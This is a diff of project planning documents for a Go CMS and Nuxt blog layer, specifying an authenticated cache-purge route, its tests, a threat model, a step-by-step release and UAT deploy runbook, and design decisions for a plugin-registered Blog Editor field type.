+- `startFixtureApi` and `startNuxtServer` (../vue-journal-layer/testing/).
+- The fail-closed detectors in scripts/check-phase16.2.sh.
+
+Commits: no co-author tags; one logical change per commit; planning docs and code in separate commits; stage by explicit path in every repository (another session may work in modules/).

+  <action>Wire the one path: a category admin update goes through an after-commit purge request to a layer route that clears the route cache. This serves the G-16.2-2 user decision and D-19. Every other save path is Task 2.
+
+Contract (both repositories implement it; Task 2 documents it in both READMEs): a `POST <purge_url>` with `Authorization: Bearer <token>`, `Content-Type: application/json` and the body `{"kind":"category"|"post","slug":"<slug>"}`. The answer is 200 `{"purged":<n>}`.
+
+sm-journal-plugin:
+
+- `classes/site_cache.go` provides the following.
+  - `type SiteCachePurger`.
+  - `NewSiteCachePurger(purgeURL, token string) (*SiteCachePurger, error)`: both empty returns nil, nil (disabled). The tracer checks only that the URL parses with an http or https scheme and a host, and that the token is not empty. Task 2 adds the full rules.
+  - `(*SiteCachePurger).Purge(ctx context.Context, kind, slug string)`:
+    - A nil receiver does nothing.
+    - It sends the contract request with a 2 s timeout on `context.WithoutCancel(ctx)` and reads at most 4 KiB of the answer.
+    - It logs one slog line: Info `journal: site cache purged` with kind, slug, status and purged (when the answer parses), or Warn `journal: site cache purge failed` with kind, slug and the status or the error.
+    - It never logs the token or the Authorization header, and it returns nothing.
+  - `PurgeSiteCacheAfterCommit(ctx context.Context, db *gorm.DB, p *SiteCachePurger, kind, slug string)`: for a non-nil p, it registers p.Purge through `lagoon.AfterCommit(ctx, db, ...)`. The purge then runs only after the surrounding cabana save transaction commits, and never for a failed save.
+- `plugin.go` Boot reads `golem15.journal.site_cache.purge_url` and `golem15.journal.site_cache.purge_token` from `app.Config`. The env names are `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL` and `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN`. Boot builds the purger, returns a wrapped boot error for invalid configuration, and calls `app.Publish` with it when it is enabled.
+- `controllers/categories.go` gets a new FormAfterUpdate. It looks up `*classes.SiteCachePurger` through `c.app()` and `Lookup`, then calls `PurgeSiteCacheAfterCommit` with the tx from `cabana.TxFromContext(ctx)`, kind `category` and the saved slug.
+- New root-package test `site_cache_admin_test.go`, `TestCategoriesAdminPurgesSiteCache` (Docker):
+  - An httptest receiver on 127.0.0.1 records each request. Inside its handler it reads the category's content through the harness pool.
+  - Start with `newPostsEnv(t, "SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL=<receiver>/api/__journal__/cache/purge", "SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=<a 40-character test token>")`, or the harness's equivalent.
+  - PUT an edited category content through `adminAPI`.
+  - Assert exactly one POST, the path, the Bearer token and the JSON body (kind category, the slug).
+  - Assert that the content read inside the receiver is the new content, which proves the purge ran after the commit.
+
+vue-journal-layer:
+
+- `nuxt.config.ts`:
+  - `runtimeConfig.journal.cachePurgeToken: ''` (server-only; env `NUXT_JOURNAL_CACHE_PURGE_TOKEN`).
+  - `routeRules: { '/api/__journal__/**': { cache: false } }`. This is required: Nitro wraps a handler matching a host's `'/**': { swr }` rule in a cached handler keyed by path that does not skip POST, so without it a second purge inside the TTL would be answered from the cache without running.
+- `app/utils/siteCache.ts` is pure erasable TypeScript that node --test can import, like routes.ts:
+  - `MIN_PURGE_TOKEN_LENGTH = 32`.
+  - `authorizePurge({ token, authorization, proxied })` returns `'ok' | 'disabled' | 'proxied' | 'unauthorized'`:
+    - `disabled` when the token is shorter than 32 characters;
+    - `proxied` when the request carried X-Forwarded-For, X-Real-IP or Forwarded (checked before the token);
+    - otherwise the `Bearer` value is compared in constant time, over sha256 digests with node:crypto timingSafeEqual.
+  - `ROUTE_CACHE_BASE = 'nitro:routes'`.
+  - `purgeRouteCache(storage)` takes any object with getKeys(base) and removeItem(key), removes every key under ROUTE_CACHE_BASE and returns the count.
+  - `parsePurgeEvent(body)` returns a kind (post, category or unknown) and a slug, with control characters removed and at most 200 characters.
+- `server/api/__journal__/cache/purge.post.ts`:
+  - `disabled` or `proxied` answers 404; `unauthorized` answers 401.
+  - Otherwise it runs `purgeRouteCache(useStorage('cache'))` and logs one console.info line: `[journal] cache purge: removed <n> route cache entries (<kind> <slug>)`.
+  - It sets `cache-control: no-store` and returns `{ purged }`.
+- `testing/fixture-api.mjs`: add `reload()` to the returned object. It re-reads the JSON fixtures; existing behaviour is unchanged.
+- New `testing/purge-check.mjs` is plain .mjs with JSDoc, so it runs from node_modules like smoke-ssr.mjs. Arguments: `--output <.output> --fixtures <dir> --kind post|category --slug <slug> --path <page path>`. Steps:
+  1. Copy the fixtures to a temp directory and start the fixture API on it.
+  2. Start the built server with a random 48-hex-character `NUXT_JOURNAL_CACHE_PURGE_TOKEN`.
+  3. GET the path (200).
+  4. Append a unique marker paragraph to the entity in the temp fixture (post: content and content_html; category: content) and reload the API.
+  5. GET again and require the marker to be absent. This proves the page is route-cached; if the marker shows, fail with a message about missing swr route rules.
+  6. POST the purge with the token and the contract body. Require 200 and purged >= 1.
+  7. GET again and require the marker.
+  8. POST without a token (401), with a wrong token (401), and with the right token plus X-Forwarded-For (404).
+  9. Print the last line as `purge-check: ok (<n> checks)`.
+- `.playground/nuxt.config.ts`: add `routeRules: { '/**': { swr: 300 } }` so the playground caches like a real host.

+  <action>Expand from the proven slice (G-16.2-2, D-19).
+
+sm-journal-plugin:
+
+- Hooks:
+  - posts.go: FormAfterCreate and FormAfterUpdate call `PurgeSiteCacheAfterCommit` with kind `post` and the post's slug, after writeContentHTMLTranslations succeeds. Add a new FormAfterDelete that does the same.
+  - categories.go: add FormAfterCreate and FormAfterDelete (kind `category`).
+  - An untouched update (D-03) still purges. That is harmless, because the stored bytes are unchanged.
+  - Add compile-time assertions for the new hooks in admin_registry.go.
+  - Tags, the posts import action and the public write API (D-09) do not purge. They are outside the decision, which names admin post and category saves.
+- `NewSiteCachePurger` rules. Boot fails loudly and the error names the key:
+  - only one of url and token is set;
+  - the URL does not parse with an http or https scheme and a host, or it has user info or a fragment;
+  - an http URL whose host is not loopback (127.0.0.0/8, ::1 or localhost), because the bearer token would cross the network in clear;
+  - a token shorter than 32 characters (the layer's minimum).
+  When the purger is enabled, log one Info line at Boot with only the URL's host and path.
+- `site_cache_admin_test.go`: a `TestPostsAdminPurgesSiteCache` smoke test, in which an edited post PUT sends one purge with kind post after the commit.
+- `README.md`: a new "Configuration" section between Usage and API reference. It covers:
+  - the two keys and their env names;
+  - the request contract;
+  - the after-commit timing and the 2 s timeout;
+  - that a purge never fails a save;
+  - which writes purge and which do not;
+  - that the receiver is the host's Nuxt app built on vue-journal-layer.
+  Use neutral names only. The Testing section names the new tests.
+
+vue-journal-layer:
+
+- `app/utils/siteCache.ts` gains `privateRevalidate(cacheControl: string): string`. For a value that contains `s-maxage`, it sets `max-age=0`: it replaces any `max-age=<n>` or prepends `max-age=0`. Other values are returned unchanged.
+- New `server/plugins/journal-revalidate.ts` is a Nitro plugin. Its request hook wraps that request's `event.node.res.setHeader`, so every cache-control value passes through privateRevalidate.
+  - Why: Nitro's route cache answers 200 with `s-maxage=<n>, stale-while-revalidate`, which gives browsers no max-age, so they apply heuristic freshness from Last-Modified.
+  - h3 answers a 304 with `public, max-age=<n>, s-maxage=<n>` and ends the response itself, so a beforeResponse hook cannot change it. After one 304, a browser could keep its copy for the whole TTL, past any purge.
+  - Static assets carry no s-maxage and are untouched.
+- `testing/purge-check.mjs` adds these checks:
+  - After the purge, the page's cache-control contains max-age=0 and s-maxage.
+  - A GET with `If-None-Match: <the new ETag>` answers 304, and its cache-control contains max-age=0.
+  - When `<path>/_payload.json` answered 200 before the change, it carries the marker after the purge.
+  - A second purge after the page was re-cached also reports purged >= 1, which shows the route itself is never cached.
+  - A second server start without the token answers 404 to a POST that carries any token.
+- `README.md`:
+  - A runtime config row for `runtimeConfig.journal.cachePurgeToken` / `NUXT_JOURNAL_CACHE_PURGE_TOKEN`.
+  - A "Site cache purge" section covering:
+    - the route and the request contract;
+    - the guards: POST only; 404 without a token of at least 32 characters or behind a proxy; 401 on a wrong token; never route-cached;
+    - what it removes: every Nitro route-cache entry (pages, _payload.json, feeds), and why;
+    - browser revalidation;
+    - deployment: the reverse proxy must not forward POST to Nuxt; the purge clears the cache storage of the process that answers, so a multi-process server needs a shared cache storage driver.
+  - Testing mentions purge-check.mjs.
+  - Neutral names only.
+
+Site app (../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app; commit locally, Task 5 pushes):
+
+- In README.md, the routeRules bullet says that admin saves of Journal posts and categories purge the route cache. The env table gains a `NUXT_JOURNAL_CACHE_PURGE_TOKEN` row.
+- The routeRules comment in nuxt.config.ts says the same. The routeRules themselves do not change.
+- Commit as docs(...). The layer pin waits for the tag (Task 5).
+
+Host (../sm-grzybyfunkcjonalne-app; commit locally, Task 5 pushes):
+
+- `deploy/env.example`: add the lines `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL=http://127.0.0.1:3016/api/__journal__/cache/purge` and `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=`, with a comment: the same value as NUXT_JOURNAL_CACHE_PURGE_TOKEN in nuxt/.env, generated on the server.
+- `deploy/nuxt.env.example`: add `NUXT_JOURNAL_CACHE_PURGE_TOKEN=` with the comment, and correct the header sentence that says the file holds no secrets.
+- `DEPLOY.md`:
+  - First install: a bullet for the shared token.
+  - Overview: the Go to Nuxt purge.
+  - Release: replace "The Nuxt page caches (swr) expire by themselves." with how admin saves purge them and the on-server purge check from Task 5. Note that the vhost's `limit_except GET HEAD` keeps the route off the public path; check-deploy.sh already requires it.

+  <behavior>
+    - Inventory (no database): every inventoried admin route has exactly one conformance case; a missing, extra or duplicate key fails with all offending keys listed in sorted order; the test passes under -short with no Docker.
+    - GET /field-types: 200; the body decodes into cabana.FieldTypesResponse with unknown fields disallowed; admin.json documents cabana.FieldTypesResponse; the fixture type is listed with its element and a script URL that serves with ETag and the ?v= hash.
+    - Field upload: a multipart part named file to the fixture field answers 201; the body decodes into cabana.Envelope[cabana.FieldUploadResponse]; admin.json documents cabana.Envelope-cabana_FieldUploadResponse; the existing create, update and show cases still pass with the plugin-typed field on the gadget form.
+    - TestJournalSVGEmbed: post content is `type: mlblogeditor` with `htmlColumn: content_html`.
+    - NewSiteCachePurger table: both empty gives disabled; only URL or only token, a bad scheme, no host, user info, a fragment, http to a non-loopback host and a 31-character token are each refused with the key in the error; https to any host, and http to 127.0.0.1, ::1 and localhost with a 32-character token are accepted.
+    - Purge request: POST, the configured path, the Bearer token, the JSON content type and body; an Info log with purged from the answer; a 500 and a 401 answer each give one Warn line; a receiver slower than the timeout returns within about 2 s; a cancelled parent context still sends; no captured log line contains the token; a nil purger sends nothing.
+    - Categories on Postgres: create, update and delete each send one purge with kind category after the commit; a failed update (validation 422) sends none.
+    - Posts on Postgres: create, an untouched update (content and content_html still byte-identical, D-03) and delete each send one purge with kind post; with the receiver answering 500, and with no receiver listening, the save still answers 200 and the row is saved; a failed save sends none.
+    - Layer (node --test, exact names): "purge auth: a missing or short token disables the route", "purge auth: a proxied request is refused before the token is checked", "purge auth: a missing or wrong bearer token is unauthorized", "purge removes every route cache entry and only those"; plus parsePurgeEvent cases (kinds, control characters, 200-character cap, non-object bodies) and privateRevalidate cases (s-maxage with and without max-age, the 304 form "public, max-age=300, s-maxage=300", a static "public, max-age=31536000, immutable" unchanged, an empty value unchanged).

+  <action>Write the tests in the behavior block, close G-16.2-1, extend the gate and run it in full.
+
+summercms.go (G-16.2-1, per D-13 and D-18):
+
+- Move the case list of TestPhase10OpenAPIConformance into a package-level `conformCases() []conformCase`. The closures already take the env as a parameter.
+- Add `checkConformInventory(t *testing.T, cases []conformCase)`. It reports every missing key in sorted order, plus every extra or duplicate key, in one failure.
+- The new `TestPhase10ConformanceInventory` calls it with no database. TestPhase10OpenAPIConformance calls it before newConformEnv, so the static check can no longer hide behind the testcontainers setup.
+- Add the two cases.
+  - GET /field-types: status 200, ref `cabana.FieldTypesResponse`, decode `into[cabana.FieldTypesResponse]()`. The call asserts the fixture type is listed and checks its script with `e.assertPluginAsset`.
+  - POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload: status 201, ref `cabana.Envelope-cabana_FieldUploadResponse`, decode `into[cabana.Envelope[cabana.FieldUploadResponse]]()`. Send a multipart part named `file` with the requireAjax header to the gadget's fixture field. Use an id the route accepts: 0 for a new record, or a gadget created earlier in the case list.
+- Fixture changes:
+  - conformPlugin implements `pact.HasFormFieldTypes` with one type: an alias such as `conformnote`, an element under the `acme-conform-` widget tag prefix, a script already in conformFS, Decode returning the string, Load returning the stored value, and Upload returning a URL.
+  - conformGadget gets a nullable `note` column, and the gadget fields.yaml gets a `note` field of that type.
+  - The existing create, update and show cases now Decode and Load the note; keep them passing.
+- `scripts/check-phase16.2.sh`:
+  - FRAMEWORK_RUN and FRAMEWORK_REQUIRE gain TestPhase10ConformanceInventory.
+  - JOURNAL_REQUIRE gains TestSiteCachePurgeConfig and TestSiteCachePurgeRequest.
+  - PG_FRAMEWORK_REQUIRE gains TestPhase10OpenAPIConformance.
+  - PG_JOURNAL_REQUIRE gains TestCategoriesAdminPurgesSiteCache and TestPostsAdminPurgesSiteCache.
+  - LAYER_REQUIRE gains the four layer test names.
+  - Add a new stage `cache`. Wire it into usage, the case statement (cache and --cache), run_all after layer, and the self-test mode loop.
+    - It runs `pnpm -C "$LAYER" run build:playground`.
+    - It runs purge-check on the playground (post hello-acme at /blog/hello-acme) and fails unless the last line starts with "purge-check: ok".
+    - Then it runs the acme SSR smoke against the same build: `node "$LAYER/testing/smoke-ssr.mjs" --output "$LAYER/.playground/.output" --fixtures "$LAYER/testing/fixtures/acme" --expect "$LAYER/testing/expect-acme.txt"`.
+  - Update the header comment for the new stage and names.
+
+sm-journal-plugin:
+
+- In `plugin_test.go`, TestJournalSVGEmbed asserts `type: mlblogeditor` and `htmlColumn: content_html` for post content. This is the intended 16.2-03 change (D-08); no other assertion changes.
+- `classes/site_cache_test.go`: TestSiteCachePurgeConfig and TestSiteCachePurgeRequest. Capture logs with a slog handler on a buffer; use httptest.
+- Extend `site_cache_admin_test.go` as the behavior block lists. The receiver records requests and can answer 500. To test the "nothing listening" case, close it before the save.
+
+vue-journal-layer:
+
+- `tests/siteCache.test.ts` uses node --test with erasable TypeScript only and the exact names above. Use a fake storage whose keys include nitro:routes entries and other cache groups.
+
+Docs (summercms.go, one separate docs(16.2) commit):
+
+- 16.2-PATTERNS.md: name `modules/cabana/openapi_conformance_test.go` (one conformCase per new admin route; TestPhase10ConformanceInventory enforces it without Docker) in two places. First, the `admin_openapi.go` table row. Second, the sentence of the field_type_upload.go section that lists admin_openapi.go and phase09Routes.
+- 16.2-VALIDATION.md: add the 16.2-07-T1 to T6 rows to the per-task map, with their commands, and move the Docker-host suites from Manual-Only to automated.
+
+Then run `PHASE162_REQUIRE_POSTGRES=1 bash scripts/check-phase16.2.sh --all`. If a suite exposes a production defect, fix it in a separate fix(...) commit with its own test, and name it in the SUMMARY. Commit tests per repository as test(...) commits, and the gate as "test(16.2-07): ...", staged by explicit path.</action>

+
+1. Concurrency. Each repository must be clean with nothing missing from origin:
+   - summercms.go master: `git status --porcelain -- modules admin docs scripts cmd` prints nothing.
+   - ../sm-journal-plugin main, ../vue-journal-layer main, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app main and ../sm-grzybyfunkcjonalne-app master: `git status --porcelain --untracked-files=no` prints nothing.
+   - In every repository, after `git fetch origin --tags`, `git log --oneline HEAD..origin/<branch>` prints nothing. If any origin has commits this checkout lacks, stop and report. Do not merge or rebase.
+2. Tags:
+   - summercms: propose the highest `v0.1.*` tag plus one, v0.1.20 unless someone tagged after v0.1.19. Confirm with `git ls-remote --tags origin` that it is absent.
+   - vue-journal-layer: propose v0.3.0 and confirm it is absent on origin.
+3. Read-only on UAT:
+   - The sha256 and mtime of `/srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne`.
+   - The count, never the value, of lines starting with SUMMER_GOLEM15__JOURNAL__SITE_CACHE__ in go/.env and NUXT_JOURNAL_CACHE_PURGE_TOKEN in nuxt/.env.
+   - The SELECTs of Task 6's posts and translations verify, compared with the 16.2-05 snapshot.
+   - The category 2 row as id:slug:md5(content):updated_at.
+4. The release sheet:
+   - the tags;
+   - the commits to push per repository (`git log --oneline origin/<branch>..HEAD`, including planning-doc commits);
+   - the Task 3 gate result;
+   - every write on the server: the binary, Nuxt output, config/ and scripts/ uploads, the rollback copies, and two lines appended to go/.env and one to nuxt/.env, holding a token generated on the server that is never printed;
+   - the steps of DEPLOY.md "Release";
+   - the rollback: move go/bin/grzybyfunkcjonalne.prev and nuxt/.output.prev back and restart both programs. The appended .env lines are inert for the previous build;
+   - any open high finding from the review or security reports. An open high finding allows only hold.

+  <action>Run the release in this order. Re-check before each push that `git log --oneline HEAD..origin/<branch>` prints nothing.
+
+1. **Framework.** `git tag -a "$RELEASE_TAG"` on summercms.go master HEAD with the message "$RELEASE_TAG: conformance cases for the field types and field upload routes, Docker-free route inventory check, phase 16.2 gate with the site cache purge". Then `git push origin master` and `git push origin "$RELEASE_TAG"`.
+2. **Plugin.** `go -C ../sm-journal-plugin mod edit -require=git.golem15.com/golem15/summercms@$RELEASE_TAG`. The replace stays, so the require is nominal. Run `go -C ../sm-journal-plugin vet ./...`, commit go.mod only as "chore(deps): require summercms $RELEASE_TAG", then `git -C ../sm-journal-plugin push origin main`.
+3. **Layer.**
+   - Set package.json version 0.3.0 and commit "chore: release v0.3.0".
+   - `git -C ../vue-journal-layer tag -a v0.3.0` with the message "v0.3.0: token-protected site cache purge route (POST /api/__journal__/cache/purge) and browser revalidation of route-cached pages".
+   - Push main and the tag.
+   - `bash ../vue-journal-layer/scripts/check-git-install.sh v0.3.0`. Run it from a directory outside any vue-journal-layer directory.
+4. **Site app** (../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app).
+   - Change the pin to `git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.3.0`. Run `pnpm install` (the lockfile must record the tag's commit), then `pnpm build` and `pnpm test`.
+   - Run `node node_modules/vue-journal-layer/testing/purge-check.mjs --output .output --fixtures tests/fixtures/api --kind category --slug cordyceps --path /cordyceps`. It must end with "purge-check: ok".
+   - Commit package.json and pnpm-lock.yaml as "chore(deps): vue-journal-layer v0.3.0 (site cache purge on Journal saves)" and push main together with the Task 2 docs commit.
+5. **Host** (../sm-grzybyfunkcjonalne-app).
+   - In plugins/golem15/journal, fetch origin and check out the sm-journal-plugin main just pushed. In vue-grzybyfunkcjonalne-app, check out the main just pushed.
+   - Commit both gitlinks as "chore: bump journal plugin and the site app (site cache purge on admin saves)".
+   - Push master, which also pushes the Task 2 deploy-docs commit.
+6. **Build.** Run `bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh`, then `bash ../sm-grzybyfunkcjonalne-app/scripts/build.sh`. Record the local sha256 of bin/grzybyfunkcjonalne.
+7. **Release on the server**, per DEPLOY.md "Release" with the 16.2-05 corrections.
+   - Remove the old nuxt/.output.prev, then `cp -a nuxt/.output nuxt/.output.prev`.
+   - rsync the binary to go/bin/grzybyfunkcjonalne.new, plus config/, scripts/ and build/nuxt/.output/, exactly as DEPLOY.md "Build and upload" lists. Never upload a local .env.
+   - Compare the sha256 of the .new binary with the local one.
+   - `cp -p bin/grzybyfunkcjonalne bin/grzybyfunkcjonalne.prev`, then move the .new binary into place.
+8. **Purge token, on the server, idempotent and never printed.**
+   - If go/.env has no line starting with SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=:
+     - generate T on the server from 32 bytes of /dev/urandom, base64 with `+/` mapped to `-_` and `=` and newlines removed;
+     - append `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL=http://127.0.0.1:3016/api/__journal__/cache/purge` and `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=$T` to go/.env, and `NUXT_JOURNAL_CACHE_PURGE_TOKEN=$T` to nuxt/.env, with printf builtins.
+   - If only one file has its line, stop and report. Never echo T.
+   - Both files stay mode 0600.
+9. **Start.**
+   - Run `bin/grzybyfunkcjonalne migrate`; it must exit 0.
+   - Record RESTART_UTC as the server's `date -u +%Y-%m-%dT%H:%M:%SZ`.
+   - `sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt`.
+   - Record LOG_ANCHOR, the `client_id=` value of the River line the Go restart logged in /var/log/supervisor/grzybyfunkcjonalne-go.log.
+   - Run the smoke (first verify).
+10. **Checks.** Run the deploy, token and purge verifies. On any failure: move go/bin/grzybyfunkcjonalne.prev and nuxt/.output.prev back, restart both programs and report.
+11. **Snapshot for Task 6** (read-only SELECTs, kept in the session and the SUMMARY).
+    - The posts and translations SELECTs of Task 6's first and third verify. They must already equal the expected rows; if they differ, report it, because the data changed since 16.2-05.
+    - posts 1 and 64 as id:updated_at.

+3. Open /gfadmin/golem15/journal/categories/2, change one word of the content and save. No removal notice may appear (D-10, D-19).
+4. Go straight back to the /cordyceps tab and view it again, both by reload and by the site menu link. The change must show on that first view (Test 2).
+5. Reply with the phrase as it reads after your edit, and whether you want the word changed back.
+
+After the reply, run the verify commands. Then fetch /cordyceps on the server, resolved to loopback, and count the reported phrase in it. The count must not be 0; record it in the SUMMARY.

+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Go host → Nuxt (loopback HTTP) | the Journal plugin calls the purge route with a bearer token |
+| internet → nginx → Nuxt | visitors reach Nuxt only with GET/HEAD; nginx adds X-Forwarded-For and X-Real-IP |
+| server .env files → processes | the purge token lives only in go/.env and nuxt/.env (0600) |
+| executor → git origin | tags and branches pushed here are read by other repositories |
+| executor → UAT server (ssh) | the release runs next to the live Winter site |
+| human admin → UAT admin | the only path that writes post and category data in this plan |
+

+| T-16.2-36 | Spoofing / Denial of Service | layer purge route | medium | mitigate | POST only; 404 unless a token of at least 32 characters is configured; 404 for any request with X-Forwarded-For, X-Real-IP or Forwarded (proxied); 401 for a missing or wrong bearer token, compared in constant time over sha256 digests; the UAT vhost refuses POST to Nuxt (limit_except GET HEAD, required by check-deploy.sh); proven by purge-check and the Task 5 on-server 403/401 checks |
+| T-16.2-37 | Information Disclosure | purge token | high | mitigate | Generated on the server from /dev/urandom and appended with printf builtins; compared on the server so only "token-match" crosses ssh; passed to curl on stdin (-H @-), never in argv or output; never logged by Go (TestSiteCachePurgeRequest checks captured logs) or by the layer; .env files stay 0600 and are never committed or rsynced |
+| T-16.2-38 | Tampering (stale content) | purge ordering | medium | mitigate | lagoon.AfterCommit runs the purge only after the save transaction commits and never for a failed save; the Postgres tests read the row inside the receiver to prove commit-before-purge |
+| T-16.2-39 | Denial of Service | admin save path | low | mitigate | 2 s timeout on context.WithoutCancel; errors and non-2xx answers are logged, never returned; tests cover a 500 answer and a closed receiver with the save still 200 |
+| T-16.2-40 | Information Disclosure | purge URL misconfiguration | medium | mitigate | Boot refuses an http URL to a non-loopback host (the bearer token would cross the network in clear), user info, fragments and short tokens; only one of URL and token set is a boot error |
+| T-16.2-41 | Tampering (log injection) | layer purge log line | low | mitigate | parsePurgeEvent strips control characters and caps the slug at 200 characters before logging |
+| T-16.2-42 | Tampering (cache poisoning of the purge response) | Nitro route cache | medium | mitigate | routeRules cache: false for /api/__journal__/**; cache-control no-store; purge-check requires a second purge after re-caching to report purged of at least 1 |
+| T-16.2-43 | Denial of Service | full route-cache purge | low | accept | Only authenticated loopback callers can purge; admin saves are rare; the next view of each page renders once from the local API |
+| T-16.2-44 | Repudiation (false-green gate) | phase gate | medium | mitigate | The inventory check runs without Docker in the go stage; the postgres stage requires TestPhase10OpenAPIConformance and the purge suites by name; the final run sets PHASE162_REQUIRE_POSTGRES=1 and checks the PASS postgres and PASS cache lines |
+| T-16.2-45 | Tampering / Repudiation | tags and pushes | high | mitigate | Clean trees and nothing behind origin, checked at a blocking-human gate and again before each push; absent tags confirmed on origin; binary sha256 compared; check-git-install proves the layer tag; every pushed head recorded |
+| T-16.2-46 | Tampering | UAT database and the Winter site | medium | mitigate | The executor runs only SELECTs; data changes only through human admin saves; the Winter vhost, php-fpm and PHP database are untouched; binary and Nuxt rollback copies are kept |
+| T-16.2-SC | Tampering | packages | high | mitigate | No new package: the Go purger uses net/http and lagoon, the layer uses node:crypto and Nitro built-ins; the app only moves its pin to the project's own layer tag and regenerates the lockfile; build.sh installs with --frozen-lockfile |

+# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget - Context
+
+**Gathered:** 2026-10-09
+**Status:** Ready for planning
+
+<domain>
+## Phase Boundary
+
+Two deliverables, framework first:
+
+1. **Plugin-registered, value-bearing cabana field types** (summercms.go: `modules/pact`, `modules/cabana`, admin SPA). A plugin registers its own form field type, the WinterCMS `registerFormWidgets()` successor. Unlike the Phase 10.1 `type: widget`, which is valueless and uses action/fill, the field owns a column value.
+2. **The Journal Blog Editor** (sm-journal-plugin). It is built on that API: a WYSIWYG HTML editor with a source toggle for post `content`. It edits the imported HTML posts (61 of 63 published grzybyfunkcjonalne.pl posts) without losing anything, and it also replaces the textarea for category content.
+
+The phase also includes the frontend half of embeds. The reusable Nuxt blog views layer (`vue-journal-layer`) expands the editor's embed placeholders.
+
+Out of scope: a core cabana `richeditor` type, a media library browser, and HTML input on the public write API (see Deferred).
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+### Blog Editor: what it is
+- **D-01:** The Blog Editor is a **WYSIWYG HTML editor with a source (raw HTML) toggle**, built on ProseMirror through TipTap. It is not a block editor and not a markdown editor.
+- **D-02:** **An admin save stores HTML in both columns.** `content` holds the edited HTML and `content_html` holds the same HTML after the sanitizer (D-10); both columns store the sanitized HTML. The API response shape is unchanged; `content` is simply HTML, as the PHP export already carries for imported posts. — **Reversibility:** costly — every post saved from the admin becomes HTML-content. A later move back to markdown would need an HTML-to-markdown migration across live posts.
+- **D-03:** **Byte-preserving unless edited.** If the post body is not touched in the editor, the save writes back exactly the stored HTML; the editor must not re-serialize an untouched document. Once the body is edited in WYSIWYG, markup the schema doesn't know (custom classes, divs, attributes) is kept as far as possible through generic node and attribute preservation. The source tab always edits the exact HTML.
+- **D-04:** v1 features: basic text (headings, bold/italic, lists, links, blockquote), **images**, **tables**, and **embeds plus a raw HTML block**. The raw HTML block is still subject to the sanitizer (D-10).
+- **D-05:** **Embeds are an allowlisted placeholder node**, for example `<figure data-embed="youtube" data-id="…">`, that passes the bluemonday policy (and the layer's sanitize-html policy) byte for byte; both policies are extended for exactly the editor's own output (`figure` `data-embed`/`data-id`, and any image or table attributes the editor emits), pinned by a test. **The XSS gate is not relaxed to allow iframes.** The frontend expands the placeholder into the real iframe (D-17). — **Reversibility:** costly — the placeholder markup becomes stored content in live posts, and the layer's renderer depends on it.
+- **D-06:** The editor is **translatable like today's `mlmarkdown`**: a locale switcher over a locale → HTML map, stored through the translate overlay.
+
+### Markdown vs HTML posts
+- **D-07:** **A markdown post opens with its `content_html`**, and the next admin save stores HTML (D-02). This is a one-way migration on first edit, with **no per-post format flag** and no new column.
+- **D-08:** **The Blog Editor replaces `mlmarkdown` for Journal post `content`** in `models/post/fields.yaml`. `markdown` and `mlmarkdown` stay cabana core types for other plugins. The `excerpt` field is unchanged.
+- **D-09:** **The public write API is unchanged.** `POST`/`PUT /_journal/api/v1/posts` keep the PHP contract: `content` is markdown and the server renders `content_html` with `FormatHTML`. Only the admin form path stores HTML.
+- **D-10 (amended 2026-10-10, supersedes the original refuse-only gate):** **Admin save gate: strip, never refuse.** Every admin write of post and category content (default and non-default locale) stores the output of the shared bluemonday policy (`classes.SanitizeHTML`, decision note `journal-html-sanitizing-bluemonday.md`), which returns the bytes unchanged when nothing is stripped. A save never fails because of unsafe markup. When the policy removed anything, the save response tells the admin what was removed (for example "2 elements were removed: style, iframe") and the form reloads the stored value; a save that removed nothing keeps today's response shape. The admin save path must stop running `FormatHTML`/goldmark over HTML content, which is the current data-loss bug (todo `journal-imported-html-admin-resave.md`). — *Original text: "`CheckHTML` refuses, nothing is sanitized … No sanitizer dependency is added." Superseded because 16.1 adopted bluemonday and the user chose strip (WordPress/Winter-post behaviour) so an edit never fails on legacy blocks the author did not touch.*
+
+### Field type contract (framework)
+- **D-11:** **Plugins register field types under a short global alias**, for example `type: blogeditor`. Boot fails loudly if two plugins, or a plugin and a cabana core type, claim the same alias. This is closer to Winter's `registerFormWidgets` aliases than to a namespaced key. — **Reversibility:** costly — aliases end up in plugin `fields.yaml` files across repos; renaming means editing every consumer.
+- **D-12:** The capability is a new `pact` interface (for example `HasFormFieldTypes`). Its Go side owns four things:
+  1. **Option validation at boot**: the type's own YAML keys, fail-loud like the built-ins.
+  2. **Value decode and validation on save**: any JSON shape, with field errors returned as 422.
+  3. **Load and format for the form**: turns the stored column value into what the element receives. For the Blog Editor, a markdown post is served as its `content_html` (D-07).
+  4. **List column formatting**: for example, strip tags and truncate.
+
+  — **Reversibility:** one-way — a published plugin API in `pact`; later plugins (payment and others, per todo `cabana-plugin-registered-field-types.md`) build on it.
+- **D-13:** **The client-side element loads globally on admin boot.** A plugin declares its field-type assets once, and the SPA loads them on every admin page, so the type works in any controller's form, including other plugins' forms. The element binds a value through a documented contract instead of the widget action/fill round-trip. The todo's starting point for that contract is a `value` property plus a `summer-change` event; the planner finalizes it. The element reads only the public `--c-*` CSS variables.
